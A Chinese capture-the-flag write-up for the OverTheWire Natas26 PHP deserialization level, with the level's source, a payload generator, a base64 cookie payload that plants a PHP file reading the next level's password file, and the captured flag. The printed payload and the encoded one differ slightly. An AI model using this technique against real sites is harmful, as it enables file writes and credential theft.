Natas26 Writeup(PHP反序列化漏洞)

Natas26:

打开页面是一个输入坐标点进行绘图的页面。

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
<body>
<?php

    class Logger{
        private $logFile;                        //三个私有参数
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){            //类创建时调用
            // initialise variables                //初始化变量
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message            //写入初始信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){                        //写入信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){                    //类销毁时调用
            // write exit message                //写入退出信息
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){                //显示图片
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){                //画图
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));    //反序列化
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));        //序列化
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
natas26-sourcecode.html

查看源码,发现了php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。

Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。

Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。

php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。

关键代码:

class Logger{
	private $logFile;						//三个私有参数
	private $initMsg;
	private $exitMsg;

	function __construct($file){			//类创建时调用
		// initialise variables				//初始化变量
		$this->initMsg="#--session started--#\n";
		$this->exitMsg="#--session end--#\n";
		$this->logFile = "/tmp/natas26_" . $file . ".log";

		// write initial message			//写入初始信息
		$fd=fopen($this->logFile,"a+");
		fwrite($fd,$initMsg);
		fclose($fd);
	}                       

	function log($msg){						//写入信息
		$fd=fopen($this->logFile,"a+");
		fwrite($fd,$msg."\n");
		fclose($fd);
	}                       

	function __destruct(){					//类销毁时调用
		// write exit message				//写入退出信息
		$fd=fopen($this->logFile,"a+");
		fwrite($fd,$this->exitMsg);
		fclose($fd);
	}                       
}

观察代码可以发现,在类销毁时调用的__destruct()魔术方法,可以向任意文件写入信息。

if (array_key_exists("drawing", $_COOKIE)){
	$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
} 

而且,可以通过cookie来写入序列化注入信息。

总结思路,通过cookie来注入信息,利用反序列化漏洞在能够访问的文件夹(img)下建立一个shell(aaa.php),写入php语句,然后访问该脚本,就能够进行任意语句执行/回显!

Payload:

<?php
class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
        function __construct(){   #注入信息
            $this->initMsg="";
            $this->exitMsg="<php include '/etc/natas_webpass/natas27';?>";
            $this->logFile="img/aaa.php";
        }
}
 
$test = new Logger();
echo serialize($test);
echo "\n";
echo base64_encode(serialize($test));    #显示base64编码后的序列化字符串
?>
本地执行,得到base64编码后的序列化字符串:
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9waHAgaW5jbHVkZSgnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTs/PiI7fQ==
 

burp抓包,把字符串覆盖到cookie[drawing]中,重新发送请求。

访问../img/aaa.php即可得到flag。

flag:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

参考:

https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6901620.html
https://blog.csdn.net/baidu_35297930/article/details/99732206?utm_source=distribute.pc_relevant.none-task

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转载自www.cnblogs.com/zhengna/p/12343272.html